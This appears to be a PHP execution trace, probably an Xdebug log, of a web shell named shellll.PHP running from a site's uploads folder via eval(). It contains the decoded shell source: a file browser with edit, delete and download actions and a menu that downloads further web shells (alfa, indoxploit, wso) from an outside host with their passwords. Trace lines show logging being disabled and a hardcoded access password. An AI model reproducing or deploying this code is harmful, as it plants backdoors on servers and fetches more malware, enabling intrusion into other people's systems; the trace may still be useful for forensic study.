\'.alt_ok().\'<a class="btn-close" href="?path=\'.dirname($dir).\'"></a></div>\';\r\n\t\t} else {\r\nprint \'<strong>Delete folder</strong> fail! \'.alt_fail().\'<a class="btn-close" href="?path=\'.dirname($dir).\'"></a></div>\';\r\n\t\t}\r\n\t}\r\n}\r\nprint \'<div class="table-responsive">\r\n<table class="table table-hover table-dark text-light">\r\n<thead>\r\n<tr>\r\n\t<td class="text-center">Name</td>\r\n\t\t<td class="text-center">Type</td>\r\n\t\t<td class="text-center">Last Edit</td>\r\n\t\t<td class="text-center">Size</td>\r\n\t\t<td class="text-center">Owner:Group</td>\r\n\t\t<td class="text-center">Perms</td>\r\n\t<td class="text-center">Action</td>\r\n</tr>\r\n</thead>\r\n<tbody class="text-nowrap">\';\t\t\r\nforeach($scand as $dir){\r\n\t$dt = date("Y-m-d G:i", filemtime("$path/$dir"));\r\n\tif(strlen($dir) > 25) {\r\n\t\t$_d = substr($dir, 0, 25)."...";\t\t\r\n\t}else{\r\n\t\t$_d = $dir;\r\n\t}\r\n\tif(function_exists(\'posix_getpwuid\')) {\r\n\t\t$downer = @posix_getpwuid(fileowner("$path/$dir"));\r\n\t\t$downer = $downer[\'name\'];\r\n\t} else {\r\n\t\t$downer = fileowner("$path/$dir");\r\n\t}\r\n\tif(function_exists(\'posix_getgrgid\')) {\r\n\t\t$dgrp = @posix_getgrgid(filegroup("$path/$dir"));\r\n\t\t$dgrp = $dgrp[\'name\'];\r\n\t} else {\r\n\t\t$dgrp = filegroup("$path/$dir");\r\n\t}\r\n\tif(!is_dir($path.\'/\'.$file)) continue;\r\n\t\t$size = filesize($path.\'/\'.$file)/1024;\r\n\t\t$size = round($size,3);\r\n\tif($size >= 1024){\r\n\t\t$size = round($size/1024,2).\' MB\';\r\n\t}else{\r\n\t\t$size = $size.\' KB\';\r\n\t}\r\nif(!is_dir($path.\'/\'.$dir) || $dir == \'.\' || $dir == \'..\') continue;\r\nprint "\r\n<tr>\r\n\t<td><i class=\'bi bi-folder-fill\'></i><a class=\'text-decoration-none text-secondary\' onclick=\'c(\\"?dir=$path/$dir\\")\'>$_d</a></td>\r\n\t<td class=\'text-center\'>dir</td>\r\n\t<td class=\'text-center\'>$dt</td>\r\n\t<td class=\'text-center\'>-</td>\r\n\t<td class=\'text-center\'>$downer<cmd>@</cmd>$dgrp</td>\r\n\t<td class=\'text-center\'>";\r\n\t\tif(is_writable($path.\'/\'.$dir)) echo \'<cmd>\';\r\n\t\t\telseif(!is_readable($path.\'/\'.$dir)) echo \'<rd>\';\r\n\t\techo p($path.\'/\'.$dir);\r\n\t\tif(is_writable($path.\'/\'.$dir) || !is_readable($path.\'/\'.$dir)) echo \'</font></center></td>\';\r\nprint "\r\n\t<td class=\'text-center\'>\r\n\t<div class=\'btn-group\'>\r\n\t\t<a class=\'btn btn-outline-light btn-sm\' onclick=\'c(\\"?dir=$path/$dir&action=rename_folder\\")\'><i class=\'bi bi-pencil-fill\'></i></a><a class=\'btn btn-outline-light btn-sm\' onclick=\'c(\\"?dir=$path/$dir&action=delete_folder\\")\'><i class=\'bi bi-trash-fill\'></i></a>\r\n\t</div>\r\n\t</td>\r\n</tr>";\r\n}\r\nforeach($scand as $file){\r\n\t$ft = date("Y-m-d G:i", filemtime("$path/$file"));\r\n\tif(function_exists(\'posix_getpwuid\')) {\r\n\t\t$fowner = @posix_getpwuid(fileowner("$path/$file"));\r\n\t\t$fowner = $fowner[\'name\'];\r\n\t} else {\r\n\t\t$fowner = fileowner("$path/$file");\r\n\t}\r\n\tif(function_exists(\'posix_getgrgid\')) {\r\n\t\t$fgrp = @posix_getgrgid(filegroup("$path/$file"));\r\n\t\t$fgrp = $fgrp[\'name\'];\r\n\t} else {\r\n\t\t$fgrp = filegroup("$path/$file");\r\n\t}\r\n\tif(!is_file($path.\'/\'.$file)) continue;\r\n\tif(strlen($file) > 25) {\r\n\t\t$_f = substr($file, 0, 25)."...-.".$ext;\t\t\r\n\t}else{\r\n\t\t$_f = $file;\r\n\t}\r\nprint "\r\n<tr>\r\n<td><i class=\'bi bi-file-earmark-text-fill\'></i><a class=\'text-decoration-none text-secondary\' onclick=\'c(\\"?dir=$path&action=view&opn=$file\\")\'>$_f</a></td>\r\n\t<td class=\'text-center\'>file</td>\r\n\t<td class=\'text-center\'>$ft</td>\r\n\t<td class=\'text-center\'>".sz(filesize($file))."</td>\r\n\t<td class=\'text-center\'>$fowner<cmd>@</cmd>$fgrp</td>\r\n\t<td class=\'text-center\'>";\r\n\tif(is_writable($path.\'/\'.$file)) echo \'<cmd>\';\r\n\telseif(!is_readable($path.\'/\'.$file)) echo \'<rd>\';\r\n\t\techo p($path.\'/\'.$file);\r\n\tif(is_writable($path.\'/\'.$file) || !is_readable($path.\'/\'.$file)) echo \'</font></td>\';\r\nprint "\r\n\t<td class=\'text-center\'>\r\n\t<div class=\'btn-group\'>\r\n\t\t<a class=\'btn btn-outline-light btn-sm\' onclick=\'c(\\"?dir=$path&action=view&opn=$path/$file\\")\'><i class=\'bi bi-eye-fill\'></i></a>\r\n\t\t<a class=\'btn btn-outline-light btn-sm\' onclick=\'c(\\"?dir=$path&action=edit&opn=$path/$file\\")\'><i class=\'bi bi-pencil-square\'></i></a>\r\n\t\t<a class=\'btn btn-outline-light btn-sm\' onclick=\'c(\\"?dir=$path&action=rename&opn=$path/$file\\")\'><i class=\'bi bi-pencil-fill\'></i></a>\r\n\t\t<a class=\'btn btn-outline-light btn-sm\' onclick=\'c(\\"?dir=$path&action=delete_file&opn=$path/$file\\")\'><i class=\'bi bi-trash-fill\'></i></a>\r\n\t\t<a class=\'btn btn-outline-light btn-sm\' onclick=\'c(\\"?dir=$path&action=download&opn=$path/$file\\")\'><i class=\'bi bi-download\'></i></a>\r\n\t</div>\r\n\t</td>\r\n</tr>";\r\n}\r\n?>\r\n</tbody>\r\n</table>\r\n</div>\r\n<?php\r\nswitch ($nana[\'op\'])\r\n\t{\r\ncase (\'1\'):\r\nswitch (true)\r\n\t{\r\ncase (op(\'adminer.php\', \'https://random-php.ftp.sh/adminer.txt\')):\r\n\t$ok = \'<strong>adminer.php > </strong>ok! \'.alt_ok().\'</div>\';\r\n\t}\r\n\tbreak;\r\ncase (\'2\'):\r\nswitch (true)\r\n\t{\r\ncase (op(\'alfa.php\', \'https://random-php.ftp.sh/alfa.txt\')):\r\n\t$ok = \'<strong>alfa.php > </strong>ok! \'.alt_ok().\'</div>\';\r\n\t}\r\n\tbreak;\r\ncase (\'3\'):\r\nswitch (true)\r\n\t{\r\ncase (op(\'indosec.php\', \'https://random-php.ftp.sh/ids.txt\')):\r\n\t$ok = \'<strong>indosec.php > </strong>ok! \'.alt_ok().\'pass: IndoSec</div>\';\r\n\t}\r\n\tbreak;\r\ncase (\'4\'):\r\nswitch (true)\r\n\t{\r\ncase (op(\'indoxploit-v2.php\', \'https://random-php.ftp.sh/idx-v2.txt\')):\r\n\t$ok = \'<strong>indoxploit-v2.php > </strong>ok! \'.alt_ok().\'pass: IndoXploit</div>\';\r\n\t}\r\n\tbreak;\r\ncase (\'5\'):\r\nswitch (true)\r\n\t{\r\ncase (op(\'indoxploit-v3.php\', \'https://random-php.ftp.sh/idx-v3.txt\')):\r\n\t$ok = \'<strong>indoxploit-v3.php > </strong>ok! \'.alt_ok().\'pass: IndoXploit</div>\';\r\n\t}\r\n\tbreak;\r\ncase (\'6\'):\r\nswitch (true)\r\n\t{\r\ncase (op(\'wso.php\', \'https://random-php.ftp.sh/wso.txt\')):\r\n\t$ok = \'<strong>wso.php > </strong>ok! \'.alt_ok().\'pas: ghost287</div>\';\r\n\t}\r\n\tbreak;\r\ncase (\'7\'):\r\nswitch (true)\r\n\t{\r\ncase (op(\'fox-wso.php\', \'https://random-php.ftp.sh/fox-wso.txt\')):\r\n\t$ok = \'<strong>fox-wso.php > </strong>ok! \'.alt_ok().\'</div>\';\r\n\t}\r\n}\r\nprint "$ok\r\n<form action=\'?dir=$path\' method=\'POST\'>\r\n<div class=\'input-group\'>\r\n\t<select class=\'form-select form-select-sm\' name=\'op\'>\r\n\t\t<option selected disabled>select</option>\r\n\t\t<option value=\'1\'>adminer</option>\r\n\t\t<option value=\'2\'>alfa shell</option>\r\n\t\t<option value=\'3\'>indosec shell</option>\r\n\t\t<option value=\'4\'>indoxploit-v2 shell</option>\r\n\t\t<option value=\'5\'>indoxploit-v3 shell</option>\r\n\t\t<option value=\'6\'>wso shell</option>\r\n\t\t<option value=\'7\'>fox wso shell</option>\r\n\t</select>\r\n\t\t<button class=\'btn btn-outline-light btn-sm\'><i class=\'bi bi-arrow-return-right\'></i></button>\r\n\t</form>\r\n</div>\r\n\t<div class=\'text-secondary\'>Recode By S4dboyXPLOID404 Ft UCEN HAXOR</div>";\r\n?>\r\n</div>\r\n</div>\r\n</div>\r\n</body>\r\n</html>'	/var/www/html/uploads/shellll.PHP(17) : eval()'d code	1	0
4	13	0	0.003908	701160	set_time_limit	0		/var/www/html/uploads/shellll.PHP(17) : eval()'d code(1) : eval()'d code	3	1	0
4	13	1	0.003927	701224
4	13	R			FALSE
4	14	0	0.003942	701192	error_reporting	0		/var/www/html/uploads/shellll.PHP(17) : eval()'d code(1) : eval()'d code	4	1	0
4	14	1	0.003957	701232
4	14	R			22527
4	15	0	0.003970	701192	ini_set	0		/var/www/html/uploads/shellll.PHP(17) : eval()'d code(1) : eval()'d code	5	2	'error_log'	NULL
4	15	1	0.003986	701264
4	15	R			''
4	16	0	0.003999	701192	ini_set	0		/var/www/html/uploads/shellll.PHP(17) : eval()'d code(1) : eval()'d code	6	2	'log_errors'	0
4	16	1	0.004015	701264
4	16	R			'1'
4	17	0	0.004028	701192	ini_set	0		/var/www/html/uploads/shellll.PHP(17) : eval()'d code(1) : eval()'d code	7	2	'max_execution_time'	0
4	17	1	0.004043	701232
4	17	R			'0'
4	18	0	0.004056	701160	ini_set	0		/var/www/html/uploads/shellll.PHP(17) : eval()'d code(1) : eval()'d code	8	2	'output_buffering'	0
4	18	1	0.004071	701232
4	18	R			FALSE
4	19	0	0.004084	701160	ini_set	0		/var/www/html/uploads/shellll.PHP(17) : eval()'d code(1) : eval()'d code	9	2	'display_errors'	0
4	19	1	0.004099	701232
4	19	R			''
4	20	0	0.004111	701160	session_start	0		/var/www/html/uploads/shellll.PHP(17) : eval()'d code(1) : eval()'d code	10	0
4	20	1	0.004167	701912
4	20	R			TRUE
4	21	0	0.004183	701912	date_default_timezone_set	0		/var/www/html/uploads/shellll.PHP(17) : eval()'d code(1) : eval()'d code	11	1	'Asia/Jakarta'
4	21	1	0.004200	701976
4	21	R			TRUE
4	22	0	0.004213	701928	array_merge	0		/var/www/html/uploads/shellll.PHP(17) : eval()'d code(1) : eval()'d code	12	2	[]	[]
4	22	1	0.004228	702048
4	22	R			[]
3		A						/var/www/html/uploads/shellll.PHP(17) : eval()'d code(1) : eval()'d code	12	$nana = []
3		A						/var/www/html/uploads/shellll.PHP(17) : eval()'d code(1) : eval()'d code	13	$pwd = 'kontoll471'
4	23	0	0.004269	701984	date	0		/var/www/html/uploads/shellll.PHP(17) : eval()'d code(1) : eval()'d code	45	1	'Y'
4	23	1	0.004307	703112
4	23	R			'2023'
			0.004349	622544
TRACE END   [2023-02-13 02:13:23.295294]

